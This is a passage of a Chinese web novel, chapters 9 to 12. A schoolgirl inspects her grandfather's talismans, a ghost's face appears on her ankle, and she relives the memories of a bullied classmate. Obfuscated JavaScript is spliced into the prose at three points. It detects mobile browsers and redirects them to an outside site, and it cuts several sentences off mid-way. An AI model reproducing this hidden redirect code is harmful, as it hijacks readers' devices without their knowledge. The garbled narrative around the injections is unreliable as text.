安然翻了几页,有些失望,不是想象中那种驱邪除魔的手抄本,倒有点像古代的话本,不那么白话,有点文言文的感觉。 除了这三样再就没别的东西了。 安然看着手里的东西,心想:老头子放箱子里的东西应该多少能有些用处吧?实在不行壮胆也好啊!算了,聊胜于无。 简单收拾了一下碗筷,安然带着搜刮过来的东西直奔二楼房间。 盘腿坐在床上,将那三样东西依次摆在了面前。 铜钱三枚穿在一起,边缘有些磨损,看着比一般影视剧里看到的铜钱要大上不少。而且也不是外圆内方,而是外圆内也圆,刻着的更不是“乾隆通宝”、“雍正通宝”之类的字样。 安然指尖拂过最边上的两个字,喃喃出声:“山鬼...” 9. 第9章 “雷霆杀鬼...降妖除魔...辟邪...永保神清...奉太上老君...急急如律令...敕。”安然将上面刻印的字呢喃着念了出来。 这还是她第一次看见这样的铜钱,要不是铜钱表面已然形成了一层厚厚的包浆,她还以为这玩意是假的。 指尖拂过铜钱,结尾的两个字安然不太确定,但感觉铸造的应该是‘雷令’两个字。 背面则铸印着乾、兊(兑)、坤、離(离)、巽、震、艮、坎八个字。安然听老头子说过这八个字对应的是八卦。下面则配有相应的卦象。 而附着在三枚铜钱表面的东西也不是绿色的铜锈,而是红色的什么东西。安然拿着铜钱对着灯光,附着在铜钱上的红色流光溢彩隐隐还泛着暗金色的光芒。 朱砂? 安老头说过朱砂至阳,有辟邪的作用。 但再多,说实话,她真的想不起来了。其实老头子的那些活计对她也不是全无影响。安然在他的熏陶下曾对各种矿石、玉石痴迷过很长一段时间。还曾亲手解过一些原石,了解过它们的矿口,产地。排除掉朱砂被老头子赋予的神秘色彩,安然对它也算是有点了解。 比如看这铜钱上朱砂的颜色和纯度,就不是现在这些个矿口产的能比的。似是在水飞法的基础上还做了一些别的处理。砂质更细腻,颜色相对也更纯,那上面的暗金色也不像是朱砂里的伴生矿呈现出的矿闪 ,更像是别的什么。 也不知道是不是因为这串铜钱不论是铸造的字样还是与朱砂的搭配都太有神棍气息,抑或是出于对老头子盲目的信任,安然觉得这东西有很大概率能起到作用。毕竟老头子要没有几分真本事,那些有钱的人精就不会宁愿等老头子有空,也不愿意换别家了。 铜钱在她手中摩挲,隐隐透着股温润之感,就连相互摩擦的声音在她听来都格外悦耳,攥在手里的时候竟让她不禁生出了几分手握辟邪神器的底气来。 这会儿要是她哥在的话,估计得惊的把下巴掉在地上,摇着她的肩膀让她把那个能将马列主义思想倒背如流的妹妹还回来。 安然自嘲地勾了勾唇,此一时彼一时,脚踝上还有张脸呢,总不能死犟着硬说那东西是谁画在她身上的。能有点傍身的东西在身边,先不管作用能有多少,最起码心理上不再毫无依仗。 在房间环视了一圈,最后视线落在身侧的木制雕花床头上。 挂好铜钱,又拿起了边上的铜镜。 铜镜不大,只有巴掌大小,表面附着着一层很漂亮的包浆,应该是常年把玩的结果。只是和常见的铜镜有些不同,这面铜镜的形状是正方形的,中间还有一个圆形的凹槽,表面不知道是一开始就没打磨还是经历了岁月的侵蚀,安然对着铜镜照了照,竟半点影子都映不出来。 而铜镜背面,最外一圈篆刻着安然不认识的铭文,中间则是被分成了三部分。篆刻的图案也不是常规的花鸟鱼兽。三段图纹并不相同,那纹理似人非人,似兽非兽,似字又非字,看似独立,实则首尾相接,彼此交融,像是遵循着某种特殊的规律,给人一种浑然天成之感。 也不知道是不是有了之前铜钱的铺垫,让安然对这面铜镜有了滤镜,越看越觉得这镜子古朴却不陈旧,哪怕照不出人来,也不知道能有什么用,但她就是有种说不出的喜欢,把玩了一阵后,更是有点爱不释手,翻来覆去看了好久,才有些不舍地将它塞进了枕头底下。 至于话本,安然随手翻了几页,上面的描述虽然不十分白话,但阅读起来问题不大,基本都是有人遇妖遇鬼的一些奇闻异事,有前因有经过有结果,但少有解决的法子,遇到的人要么是死了,要么是遇到什么人将其解救了。只有问题而没有解决方法对安然眼下的情况帮助不大。 随手又翻几页,见依旧如此,便将其扔在了枕头边上。 想了想,最后还是拿出老头子给的安神香,点燃了一根插进了旁边的香炉里。 香气不轻浮也不厚重,恰到好处的沁人心脾,让她紧绷的心神不自觉跟着放松下来。 折腾了大半天,再看时间已经是晚上9点43。 给爷爷和哥哥打了电话,得到的回应均是不在服务区。而丁筝那头,这会儿已经不再是嘟嘟嘟的提示音,而是‘您拨打的电话已关机’。 安然拿着手机发了会儿呆,给丁筝发了条信息,让她开机后给自己回个电话。犹豫了一下还是打开和她哥的聊天界面,准备将今天发生的事都告诉对方,打到一半,她蓦地停了下来,呆呆地看着屏幕上大段的叙述,想了想又将输进对话框里的文字一一删除。 老头子和她哥那边什么情况她并不了解,但想来大概是比较棘手的,否则依照老头子一向的行事准则,绝对不会在她哥上课的时候让他出来帮忙。 再加上眼下脚踝上那东西半点反应也没有,就算现在告诉两人,他们一时半会儿也回不来,万一因为她而分心... 安然不敢想象会有什么后果。 还是不要让他们担心了。 脚踝上的脸仍旧只有模糊的一片,安然盯着看了一会儿,突然伸手快速在那上面摸了一把。 没有异样。 触感和摸在皮肤上没有不同。 看着脚踝上的东西,安然开始搜罗记忆里老头子曾给她讲的那些有关灵异的故事。 印象里安老头其实讲过一些鬼故事的。他似乎很排斥西方的那些所谓的童话,说那些故事不是就是公主嫁给了一个没钱但有才华又心善的穷小子,就是王子娶了一个心地善良又漂亮的小姑娘。 但那些一出生就站在权力顶峰的公主王子有几个真能像故事里的那么傻了吧唧的?而那些挣扎在水深火热的穷人,又有几个能保持初心不变永远积极向上?而那些能够保持初心的,他们的才华和智慧似乎就只能通过娶公主或是嫁王子才能改变自己的命运。 那些故事说白了就是大人编撰出来慰藉自己的玩意儿。不是为了弥补自身遗憾就是权力者为了更好奴役底层,跟他们小孩儿其实没啥关系,而且听多了,还容易变笨。 老头子讲了几个晚上,安然听的津津有味,倒是她哥就先坐不住了,非说那些故事不利于小孩子心理健康,然后不知道从哪儿弄来了好几本童话故事。 老头子乐的清闲,自然就由得他俩去了。 直到有一次安然听完他讲的小美人鱼的故事的以后,不解的问她哥:“哥,故事里巫婆是坏人么?” 她哥:“当然。” 安然不懂:“可是…是小美人鱼自己选择要跟巫婆交换的啊?是不是巫婆什么都不要,小美人鱼要什么她就给什么,才是好人?那是不是兔子以后每次管我要糖,我都给,才是好孩子?小美人鱼是不是变成泡沫才是对的?她要是杀了王子的话,就是坏人了?” “还有那个灰姑娘里的王子,都跟灰姑娘跳好几天的舞了,为什么还要用鞋子找人,是不是不太聪明啊?” 她哥:…… 打那天起,他们家再也没出现过一本童话书。至于书去哪儿了,至今仍旧是一个谜。 美好的回忆总是让人不禁莞尔,只是那段时间老头子和她哥为什么要给她讲故事,安然其实想不太起来原因了,但唯一能肯定的是老头子故事里的那些鬼怪没有一个是会变成脸附在人身上的。 安然有些泄气,整个人倒在了柔软的被子上。 算了。 说不定她就是倒霉正好那个点去厕所碰到了万胜柔,然后莫名其妙的就被缠上了。也许万胜柔只是不甘心自己死的不明不白,想要等待凶手落网... 好在现在帽子叔叔已经找到了尸体,凶手落网不过是时间的问题。破了案,脚上的东西大概率就能自然而然地消失了。 想到这,不知道是安神香起了作用还是刚刚的自我安慰成功奏效,安然原本清晰的思维渐渐变得混沌,随着呼吸的逐渐平稳,她眨眼的频率也越来越慢,越来越慢,直至陷入了深沉的梦乡... ———————————————— 雨后初晴的街道萦绕着一股淡淡的水腥气。 杏花街的清冷和其他街道的热闹泾渭分明的像是两个世界。 行色匆匆的上班族、公园锻炼结束回家的大爷大妈,背着书包的学生几乎占据了街边大部分早餐店。看着几乎满员店铺,安然熄了买早餐的念头。 她今早是睡到自然醒的,一夜无梦,睡得格外香甜。除了在穿袜子的时候,隐隐觉得脚踝上的人脸似乎有了些许的不同以外,算是这段时间难得轻松的早晨。 下了公交,路上已经能看到不少和她一样穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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同伴点头,随即又面露狐疑:“不是说天气干燥的原因么?” “哪啊!那帮小屁孩在山上烧烤呢,结果差点把整个山给点着了!学校本来想让那几个人停课的,老万那老匹夫又想故技重施把她女儿摘出来!但有一个家长说什么也不妥协啊!非说要罚他家认,但要罚一起罚!然后鼓动另外几个家长一起来学校闹了一场。最后要不是老校长出面哪那么容易平息下来?我还听说本来以老万的资历还能往上爬一爬的,但那么一闹,最后便宜了教务处那条疯狗...” “喂!你小点声...”同伴回头看了眼身后大门的方向:“你也不怕疯狗听见!欸?!不对啊...你怎么知道的这么清楚!” 那人听了讪讪一笑,“那个领头来学校闹的是我大姨夫,我表弟也不知道是不是脑子抽了,尼玛竟然喜欢上万秃子女儿,跟着了魔似的!昨晚还说要我陪他找凶手呢!啧啧啧...现在还被我大姨关着呢!真是2B青年欢乐多!” “听着好像是不怎么聪明的样子...不过你大姨是怎么知道的啊,不会蠢到在家也闹了吧?”同伴见对方摸着鼻子尴尬的笑一声不吭,同伴恍然大悟:“你告的密?!啧啧啧...真是难为他有你这么狗的表哥了!” “艹!你说谁狗呢!我那是让他悬崖勒马...” 打闹声渐渐远去,安然垂眸瞥了眼脚踝,浓密睫毛下的情绪一闪而逝,转身进了高一所在的教学楼。 教室里已经有了不少人。 尽管依旧闷热,但却没人再像之前那样抱怨。他们三三两两聚在一起,讨论着万胜柔的死亡。死亡在讨论声中渐渐变得轻佻和漫不经心,仿佛他们讨论的不是一个活生生的人,而是什么缓解燥热的良方。从他们嘴里吐出来的好奇、猜测、臆想以及或真或假的事实织成了一张笼罩在头顶巨大的网,投射下庞大阴影让每个人看起来像个扭曲的怪物。 安然知道,那些怪物里也有她自己。她同样好奇万胜柔的死,好奇她的经历,好奇那些或真或假的事实里会不会藏匿着真相,唯一不同是只是她没有宣之于口罢了。也许这中间有怜悯、有对于生命逝去的惋惜,但比起那些,她知道自己更在意万胜柔出现在她脚踝上的原因以及会不会对她产生威胁。 她收回视线,眉眼低垂,将注意力全部拉回到摊开的语文书上,直到身侧的人拍了下她的肩膀:“中午一起吃饭,怎么样?” 安然抬头看向说话的人,没怎么犹豫:“好。” 10. 第10章 上午的时间过的很快,除了视线偶尔落在身侧会有些许恍惚外,再没发生其他什么特别的事。还有就是不知道是不是自己的错觉,安然总觉得老班今天有些怪怪的,但具体哪里奇怪她也说不太上来。 就在她以为今早的最后一节课也会在平静中度过时,老班突然在了班级门口。然后陈温柔、林盛阳、还有班里的另外两个女生就被叫了出去。直到下课铃声快要响起,四人才被送回来。 安然注意到回来的四人当中那两个她不怎么熟悉的女生表情有些怪,说不上来是害怕担忧还是别的什么,时不时地用眼神瞟向走在前面的陈温柔和林盛阳,都是一副欲言又止的样子。 倒是走在前面的两人表情和之前没什么两样。 “铃——” 尖锐的下课铃声几乎要贯穿人的耳膜,但对于急于放学和吃饭的学生来说这声音简直犹如天籁。 安然没有急于走出教室,而是看向身后。 陈温柔不知道对那两个女生说了什么,那两人原本就不怎么好看的脸色变得更加苍白,见她们似乎还想说点什么,陈温柔没好气地翻了个白眼,头也不回挽着林盛阳就走到了安然面前:“走,咱们吃饭去。” 这个点儿的食堂,到处都是人,每道窗口前都排着长长的队伍。 有一说一,老校长虽然抠门,但在学生的吃食上是真的做到了极致,各类荤菜素菜都有。跟更绝的是为了保证食材新鲜,防止厨房缺斤少两,还专门排了一个时间表,根据老师上课的时间排班,由学校近100名教师轮流监督。 所以他们一中的食堂算得上远近文明。 甚至好些个成绩特别突出被几个学校轮番争抢的学生,最后十有八九都是被食堂吸引来的。 好不容易打完菜,看着拥挤的食堂,坐哪儿又成了个问题。好在陈温柔眼疾手快,要不然她们仨今天说不定得站着把饭吃完。 安然不挑食,但也都是捡着几样卖相不错的菜式点的,有荤有素,搭配的还算营养,反观对面,一份餐盘里全是以红色辣椒点缀的肉食,另一份则都是半点荤腥都不见的绿色蔬菜。 而这一红一绿对应的主人更是让她不禁眉毛一挑,人果然是会被自己的固有思想所局限,从而变得自以为是。看上去像是“食草动物”的林盛阳和看上去像是“食肉动物”的陈温柔... 有点意思... 但有意思的似乎还不止这点:比如陈温柔在坐下吃饭后就没再说过一句话,安静的像是换了一个人。如果不是安然偶尔捕捉到对方夹菜时眼底一闪而逝的厌恶,说不定真以为她和班里那几个沉迷于靠“吃草”管理体重的女生一样对各种肉类敬谢不敏;再比如林盛阳抬手时不经意露出的淤青和伤痕,那些青紫痕迹看上去有些深,而且似乎是一圈圈缠在手腕上的... 林盛阳...这是被人打了? 相比对面默默干饭的两人,安然明显吃的有些漫不经心,三人间微妙的沉寂和周围的热闹格格不入的像是被割裂在了不同的空间,直到对面两人都放下筷子,围绕在她们这桌犹如死气般的沉默才在陈温柔哼哼唧唧的声音里结束。 “啊...好饱啊!”陈温柔将餐盘往前一推:“妈呀,终于吃完了...” 林盛阳也随手抽了张纸巾将嘴唇染上艳红的辣椒油轻轻一抹:“我也吃饱了。” 陈温柔看了眼对面安然,又看了看身侧的林盛阳,低头揉了揉自己涨得滚圆的肚子,突然有些泄气:“我是不是没救了?吃青菜都能把自己吃撑...啊...真羡慕你们这样怎么都吃不胖的人...” 见安然不解地看着趴在桌上嘤嘤嘤陷入自我怀疑的陈温柔,林盛阳笑着解释:“陈阿姨比较在意温柔体重的管理,所以最近几天温柔暂时只能吃蔬菜...好啦,温柔,你又不胖,阿姨让你吃蔬菜的目的又不是减肥...” 陈温柔不满:“哼,她就是嫌我胖,老说什么青春期的女孩子很容易发胖,胖了就很难减下来了。我又不是她...怎么吃都不胖到160吧...天天吃草,我都要吐了...” “好啦...阿姨是因为经历过减肥的痛苦,不想让你再受一遍罪...” 看着在林盛阳安慰下渐渐振作起来的陈温柔,安然不禁怀疑起自己最近是不是有些太过于草木皆兵了。其实一开始的接近两人不过是她的临时起意,是什么时候开始觉得这两人可疑的呢? 是林盛阳讲的那个故事?是陈温柔一脸忿忿地寻找丁筝的下落?还是两人在说到灵异游戏时露出的意味深长的表情? 但那些真的能作为她们和丁筝遭遇有关的证据? 还是说人一旦带上怀疑和探究的目光看待别人,那么目之所及都成为佐证想法的依据? 抛开她单方面的怀疑和偏见,陈温柔和林盛阳除了在灵异方面表现出了异于常人的好奇和热情,这两人身上其实没什么值得怀疑的,毕竟对未知事务好奇的中二少年不都这样吗... 林盛阳只是讲了个从亲戚那里听来不知道真假的故事,而陈温柔似乎在很久之前就对那些鬼鬼神神的东西十分好奇。 更何况眼下出事的是丁筝妈妈而不是丁筝,而她对于丁筝家究竟发生了什么更是一头雾水。 虽然丁筝语音说的颠三倒四,但问题听上去应该是出在丁阿姨身上。 【安然,我看到了!我看到了!我没疯!是我妈被控制了!她被人控制了!有两个她!有两个!我妈...我妈她给了我一把钥匙...我不知道是怎么做到的,但我看到监控了...那人绝对不是她!...那个人...那个东西...安然......我会找出真相的...对...对不起...我不该那么说的那不是我的本意......呜呜呜...对不起...呜呜呜......等我...等我拿到里面的东西...我能来找你么...你在家吧...求你...等我...然然…等我…】 两个她... 什么意思? 两个丁阿姨... 双胞胎么? 还是丁筝出现了幻觉? 监控里又有什么... 还有钥匙... 丁筝想要带着什么来找自己? 又是谁带走了她... 最主要的是那个男人怎么突然就成了丁筝的父亲...< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850062|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 安然的眼神渐渐清明,垂下了看着对面两人的眼眸。如果丁筝的话都是真的,那么相比之下更该怀疑的是那个突然变成丁筝父亲的男人,而不是眼前这两个正讨论着如何控体重的年轻女孩。 就在她思索着怎么委婉终止眼前这场有点荒诞的闹剧时,对面的陈温柔突然神秘一笑,从兜里拿出来一样东西,放在了桌子上。她看了眼周围吃饭的学生,压低了声音:“这上面就是你测试的内容...” 安然刚想拒绝,就听对方接着道:“这可不是故意针对你哦...我们灵异社的每个成员都要测试的,虽然每个人的内容都不一样,但难度基本一致,毕竟我们要接触的是一个全新未知的领域,聪明和胆量一个都不能少...而且当初丁筝也是通过测试才加入的...” 安然眼眸流转,视线落在推到她面前那个用白纸折叠而成的爱心上:“好。” 见安然收下东西,陈温柔重新绽放出笑容:“安然,期待你的加入哦!” 一旁的林盛阳也露出笑容:“加油!” 谢绝两人请吃冰激凌的邀请,安然独自走在学校操场附近的林荫小道上。 为什么突然改变主意,安然自己也说不上来为什么,或许是因为陈温柔的最后一句话,又或许是出于对那个不存在的灵异社的好奇。 安然过去从未听说一中有个灵异社。她甚至以为刚刚是自己听错了,但那两人对于灵异社闭口不言,只说等安然加入之后,自会有人告诉她一切。 为了确定不是自己孤陋寡闻,她刚刚还特意去了学校的宣传栏看了一下。文学社、广播站、科研创新队、天文爱好同盟会以及体育竞技组,唯独没有灵异社。 直到头顶那点微薄日光被一片巨大的树荫遮蔽,安然才惊觉自己已经走到花坛边上。 一中其实也有三奇。 只是这个‘奇’不是奇怪的奇,而是奇观的奇。 分别是一中的食堂,一中的水管以及她眼前的这棵由无数粗壮根系绞缠在一起的老榕树。 这棵树有多老,没人说的上来,似乎很久很久之前就存在了,早于学校的建成,甚至早于这座城市的建成。能将这棵榕树纳进校园范围,听说当时的第一任校长花费了许多力气,而且在此之后的每一任校长对于这棵老榕树都十分的爱护。 如今这颗榕树越发的枝繁叶茂,安然伸手比划了一下,没有6、7个人一起环抱,估计很难将那个大家伙圈起来。 一阵微风拂过发丝,清凉的风将聚在她眉间的燥热尽数吹散,她顺势坐在了花坛边上闭上了眼睛。 时间在带着草木芬芳的微风中流逝,安然缓缓睁开了那双桃花似的眼睛,拿出了那个纸折的爱心。 爱心在她手中渐渐拆解,很快摊平成了一张布满褶皱的正方形的纸。 安然眉毛一挑,如墨的眸子落在被她夹在指间一片空白的纸张上,淡粉色的唇被抿的几乎透明。 忽地,她鼻尖动了动。 原来如此。 安然唇角微不可察地勾出了一个若有似无的弧度。 看来这空白的线索…也是他们灵异社所谓的考验之一了… 11. 第11章 原本有点放晴的天转眼又下起了小雨,让本该在室外的体育课也被迫转移到了室内的体育馆。体育馆很大,由篮球区、排球区、羽毛球区以及兵乓球区以及跳马、单杠之类的活动区域组成。 体育老师带头慢跑热身后,就带着众人来到了排球区。他简单讲述了一下要领和规则,便让所有人适应手感自行练习15分钟。 只是柔软的排球远没有想象的那样好控制,尤其对于新手来说。排球在半空中乱窜,时不时就有人发出痛呼,让打球的人小心点。 但扎堆在一起的人就本就在故意玩闹,安然挑了个人少的地方,对着墙面独自练习。好不容易掌握了点技巧,结果一个力道没控制住,被叩中的球直直冲向线外朝着墙壁的方向砸了过去。 排球柔软的表面撞到墙角,一块墙皮就那么顺势掉了下来。 安然停下脚步捡起地上的墙皮,一脸不可思议地看向墙面剥落的位置。这一眼好似被推倒的多米诺骨牌,无数墙皮沿着破损的墙面纷纷掉落,只眨眼的功夫,暖白的墙面,散着暖光的天花板,木制的防滑地板全都消失,取而代之的是灰白的墙体,闪着冷光的天花板以及坚硬的水泥地面。 “喂,想什么呢!快把球扔过来啊!” 安然茫然地低下头,手上不知道是什么时候多了个篮球,篮球表面上的防滑小点几乎被磨平,拿在手上的触感并不好。 “喂!扔过来啊!发什么呆啊?!喂!” 她下意识想要看向声音传来的方向,可刚一转身就被什么东西狠狠砸在了面门。 鼻子一酸,手里的篮球掉了在地上,紧接着沉闷的钝痛让她忍不住跪倒在了地上。鲜血顺着鼻腔涌了出来,她捂着鼻子,抬起了头,被泪水遮蔽的视线一片模糊,各种颜色斑驳的色块交杂在一起,随着位置的变化时明时暗,耳朵里也尽是嗡嗡嗡的杂音,吵得她脑仁直疼。 混乱中,安然感觉有人搀住了她的胳膊。 她想要拒绝,但那种有什么似乎要钻进大脑的疼痛让她根本无法反抗,只能机械地跟着对方的脚步前往某个未知的方向。 好在疼痛没有持续多久,安然眼前斑驳渐渐变成了连成一片朦胧的色块,耳边的嗡嗡声也逐渐有了高低之分,隐约间她看到了一个模糊的背影。 她被带到洗手池前。 灰白的大理石台连成了一片,整排的水龙头即便在阴郁的天气下仍旧闪着银质的光芒。 “你也太好说话了吧?”那女生有些愤愤不平,水龙头里的水哗哗的流了出来,她从兜里拿出一张方帕,用水打湿递给安然:“擦擦吧...” 冰凉的水流顺着她的指缝滑落,也让安然混沌的大脑清醒了不少。 “那些人太过分了!他们自己的球就让他们自己捡啊,凭什么叫你去?还有刚刚那个球,那家伙分明就是故意砸你的!” 眼泪和鼻血顺着水流一起冲向了下水道,在青灰色的石板上落下一道淡粉色的痕迹。 安然拧上水龙头,终于将视线对准了还在喋喋不休的女孩。 那是一张完全陌生的脸。女孩扎着高高的马尾,瓜子脸,皮肤很白,眼睛像是含了一汪清泉,脸颊因为气愤而微微涨红,哪怕此刻是生气表情,也仍会让人觉得她是一个非常漂亮的女孩。 “你得反抗,你知道么?你越是一言不发,他们就越是会变本加厉...”女孩看上去很替她着急,眼神也带上了种恨铁不成钢的无力。 但安然此刻的心思早已转移到了身边陌生的校园环境上,和她猜测的一样,这里根本就不是她所熟悉的校园。 “喂...你没事吧?” 也许是因为安然的迟迟不回应让女孩感觉到了一丝不安。 安然想说‘没事’但出口的却是:“谢谢。”她看着自己将手绢拧干,又对着女孩继续道:“手绢我会洗干净晾干再还给你。” “没...没事。那什么...你不用还了,没事,不用还我...”女孩儿这会儿不知怒意渐消还是安然冷淡的态度让她反应过来自己似乎太过自来熟,表情有些尴尬:“这...这手绢是新的,我没用过的...那个...你要是不嫌弃就留着用吧...要是不喜欢扔了也没事的...” “好。” 这下就是安然再迟钝也知道出问题的不止周围的环境,还有她本身。 她能看、能听、能闻、能有感知但唯独不能控制自己的身体...就像她的身体还藏匿着另外一个灵魂。 等等... 看眼前的这个陌生女孩对这具身体熟悉的程度,或许... 她才是那个外来的意识?! 自己这是穿越了? 真要是那样,那她是不是也太悲催了一点?虽然不指望像小说里一样有什么大腿粗的金手指,但身体都控制不了也太扯淡了吧?还是说... 她就是那个所谓的金手指?! 一阵纠结犹豫,安然一咬牙很中二的开始用意念和这具身体的主人说话,不出意料的,这具身体的主人没有半点回应。 就在安然思考自己接下来要怎么办的时候,这具身体已经走进了挂着“高二(4)班”的教室。 这人竟然是高二的... 教室里空空荡荡。 黑板是那种老式的墨绿色,没有投屏的幕布更没有嵌入电脑式的讲台。桌椅也是老式的木制桌椅,安然甚至在几张桌子上都看见了用不同颜色的笔刻画出的“早”。 有点像是看到了只有老课本里才有的场景,说真的这感觉很奇怪。新奇有,那种时间空间与认知差距产生的割裂感也有。 直到身体的主人一直走到教室最后一排单独的空位。 桌面很干净,上面没有安然以为会出现的那种惯有的霸凌出现的幼稚谩骂。 只是不知道为什么,这还是让她不由得松了口气。可能是即便知道那些做法很幼稚,但看到那些恶毒言论还是难免会被影响到情绪。 只是显然她这口气松的有些太早了。 随着对方将书桌抽屉里的书本抽出,连带着的一堆五颜六色的卡片和折叠起来的信纸。卡片上是一张十分清秀的脸,是标准的初恋脸。尤其一双杏眼弯弯,还没说话便先露三分笑意。尽管没有完全长开,但也能窥探几分长大后的清纯模样。 但这样一张干净的脸却被配上了一具完全不符合年龄的成熟身体,暴露的衣着更让原本就有些色情的卡片添上了点廉价的味道。 不用说她也知道这是此刻自己所依附的女孩的脸。 这卡片显然是被人故意P的,而且没有丝毫掩饰。仿佛在说:‘我就是P的,你又能怎么样?’ 安然甚至还看到了夹在着其中的几个没有拆封的避孕套。 女孩儿显然也被这些东西气的不轻,捡那些东西的时候,指尖都在微微颤抖。包装袋被她捏在哗哗直响,眼泪却一滴一滴掉在了那些花花绿绿的信纸上。 没有半点想要打开来看一看的念头,女孩直接将那些东西撕了个粉碎,零星的字迹透过碎片映进了安然的眼中,那些□□肮脏又带着侮辱的字眼很难想象会是出自那些还未成年的学生之口。 女孩抹了把脸上的泪,转身从包里取出一个黑色的塑料袋,熟练地将那些纸屑全部扔进去。她没有选择直接扔到教室后面的垃圾桶,而是塞进了书包侧边的角落。 安然沉默地看着女孩的动作,她不知道女孩究竟经历了多少次,才会让从愤怒到麻木之间不过几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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倒是林盛阳一边顺着陈温柔的后背一边观察着安然的脸色:“安然...你真的没事么?你脸色看上去不太好...是哪里痛么?要不我和温柔带你去医务室看看吧?” 陈温柔也从不再没骨头似的猛地支棱了起来:“是啊,安然...还是去医务室看看吧...你要真有哪受伤了,我估计今晚都要睡不着了...” 安然摇头:“真没事。我就是肚子突然有些不舒服,休息一会儿就好了。” 在她再三保证自己没事后,陈温柔和林盛阳才不再继续游说,走到一旁安静的角落练球去了。 安然将手中的排球放进球筐,走向正在一旁喝水的体育老师。大概是安然此刻的脸色实在算不上好看,体育老师也没多问,嘱咐了几句就同意了她的请假。 淅淅沥沥的雨丝从灰白相间的天空缓缓飘落,被偶尔路过的微风吹的到处都是。好在教学楼和体育馆之间连着一道长长的走廊,那些散落的雨丝落在头顶的屋檐又顺着边缘一滴一滴滑落,倒衬得像是整个校园正在雨中哭泣。 安然走到拐角一处隐蔽的角落,缓缓拉起了一侧裤腿。 从刚刚意识回笼,她就在思考自己为什么能看到看到另一个陌生人的过去。 她记得安老头是和她讲过‘鬼魂’由来的。 人死后,之所以会有鬼魂滞留人间,一是因为执念,二是那些不甘、怨恨、不舍、愤怒、思念等情绪必须强大到能在死后的一瞬间保三魂中的地魂和人魂不灭,两者缺一不可。 这也是世间大多数人死后都会直接进入轮回,而能够化鬼的少之又少,且大多为横死的原因。 但老头子也说过,鬼魂对于没有羁绊的人是无法轻易接触的。 除非... 她盯着脚踝的位置垂眸沉默半晌,像是在验证什么般缓缓拉起了一侧裤腿,将长袜缓缓褪下。 入眼的先是脚踝上的人脸那漆黑如墨的发丝,紧接着安然就看到一双不再如之前那般与其他五官混作一团的眼睛,如清泉般干净的杏眼弯出了两道好看的弧度,未语先露三分笑意地看向正与它对视的安然... 12. 第12章 果然。 那张脸的主人不是万胜柔,而是...姜慧。 而自己之所以能看到姜慧的过去,是因为是姜慧依附在了她的脚踝上。 安然垂眸。 不是万胜柔,那么之前她的所有猜测便全部作废。 她开始忍不住回想老头子说过的和灵异的相关的话题。但大多时候安然都是左耳进右耳出,能回忆起来的寥寥无几。尤其自打她对老头子那套‘神棍理论’表现出排斥以后,安老头就很少说了。这会儿想来不禁有些后悔,颇有点书到用时方恨少的意味。 等等。 安然遮住脚踝的动作一顿。 老头子似乎在她开始做噩梦后没多久,又絮絮叨叨过一阵那些她那个时候以为是在胡诌的理论。 那段时间她因为每晚的噩梦早起时常常带着起床气,看谁都有种莫名的烦躁,偏偏老头子一边悠哉地在院子里打太极还一边嘴欠地说风凉话。 非说是因为她太懒不爱动。 安然原本懒得搭理老头子,但谁成想老头子却是说上瘾了一般,从现在的年轻人有多弱不禁风到春主升发讲再到神鬼精怪。 安然忍不住吐槽:“那照你这么说这世上的鬼多了去了,为什么我长这么大,一个都看不到?” 老头子却用一种‘你当鬼是大白菜啊’的鄙视眼神看向安然:“人和鬼之间的界限要是那么好跨越,这世界早就乱套好么?” 安然反驳:“那你还天天给为这个驱邪,给那个除鬼的!呵...承认自己是神棍了吧!” 安老头瞥了安然一眼:“我们修道之人本来就是一脚踩阴一脚踏阳,行走于阴阳两界。要是和普通人一样,还修什么道啊?这世上除了普通人以外,能看到并接触到鬼怪的要么是有道行的修道之人,要么就是天生有阴阳眼的人。” 安然翻了可个白眼:“哈!按照你这么说你那些‘客户’都是修道之人或是有阴阳眼的人喽?还是说他们见的压根就不是鬼?还说自己不是神棍...” 安老头对着笑得一脸得意的安然露出了一个‘孺子不可教也’的表情:“哼,莫要将无知当作攻击他人的资本...丫头,你要记得这个世界是有其运行规则的...” “通常情况人和鬼之间存在着一道屏障,这道屏障叫做‘域’。哪怕规则允许鬼魂滞留人间,但也不是想接触谁就能接触谁的...” 安然皱眉,觉得这说法倒是新奇,在某种程度上倒是解释了鬼魂存在却并不常见的原因,但她并不像表现出来,于是撇嘴:“既然鬼魂少见又和被隔离在外,你又哪来那么多客户?还说你没骗人...” 老头子脸上闪过一丝不自然,他轻咳一声:“那能叫骗么?那叫各取所需,等价交换,双赢,win-win...” 见安然一脸‘呦,看不出来你还会说英语’的表情,安老头唇角一勾,随即又变成了一派风轻云淡,仙风道骨的模样,将之前的话题转移了回来:“只是这个屏障是相对的。” “如果人鬼彼此之间的关系十分疏远,甚至完全陌生,那么他们之间的屏障就如同珠穆朗玛峰般无法跨越。反之亦然,和鬼生前的关系越是紧密,比如彼此有亲缘、羁绊、纠葛、甚至仇恨之类的,他们之间屏障就会相对容易跨越。但还有一种情况...” “就是有人自己主动借助某些手段打破和鬼魂之间的屏障...” 安然当时还好奇来着,谁会蠢到主动和鬼魂建立联系,但现在想来,老头子在说最后一句话时那难看的脸色,也能猜到去做那种事的人可能还真不少,出于他们的好奇,或是某种目的。毕竟鬼魂属于超自然的生物,有些事,人可能很难做到,但鬼魂就说不准了。 可哪怕她记起了那么多,也解释不了自己的情况。 一开始她以为那张脸是万胜柔,毕竟两人认识,会有在自己不知情的情况下被对方单方面结怨的可能。 但姜慧不同。 